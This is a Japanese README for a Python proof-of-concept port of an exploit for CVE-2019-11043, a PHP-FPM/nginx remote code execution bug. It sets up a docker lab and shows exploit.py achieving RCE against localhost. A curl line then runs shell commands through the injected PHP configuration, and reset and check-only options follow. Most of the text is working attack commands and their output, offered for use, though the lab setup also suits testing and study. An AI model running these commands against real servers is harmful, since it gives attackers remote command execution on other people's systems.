
(PoC) neex による CVE-2019-11043 エクスプロイトの Python 版
CVE-2019-11043 エクスプロイトの Python 版 https://github.com/neex/phuip-fpizdam
この PoC はまだドラフトです。@neex が作成したエクスプロイトを使用してください。
脆弱性分析: https://paper.seebug.org/1064/
nginx と php-fpm を起動するには、docker compose を実行するだけです:
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
php-fpm のログを確認したい場合は、次のコマンドを実行できます:
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
エクスプロイトをスキップして、脆弱性のみを確認したい場合:
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
--reset を使用して、php-fpm プロセスを強制終了し、注入されたすべての PHP 設定をリセットできます:
python3 exploit.py --url http://localhost/index.php --reset
https://twitter.com/Menin_TheMiddle/status/1188776386569355265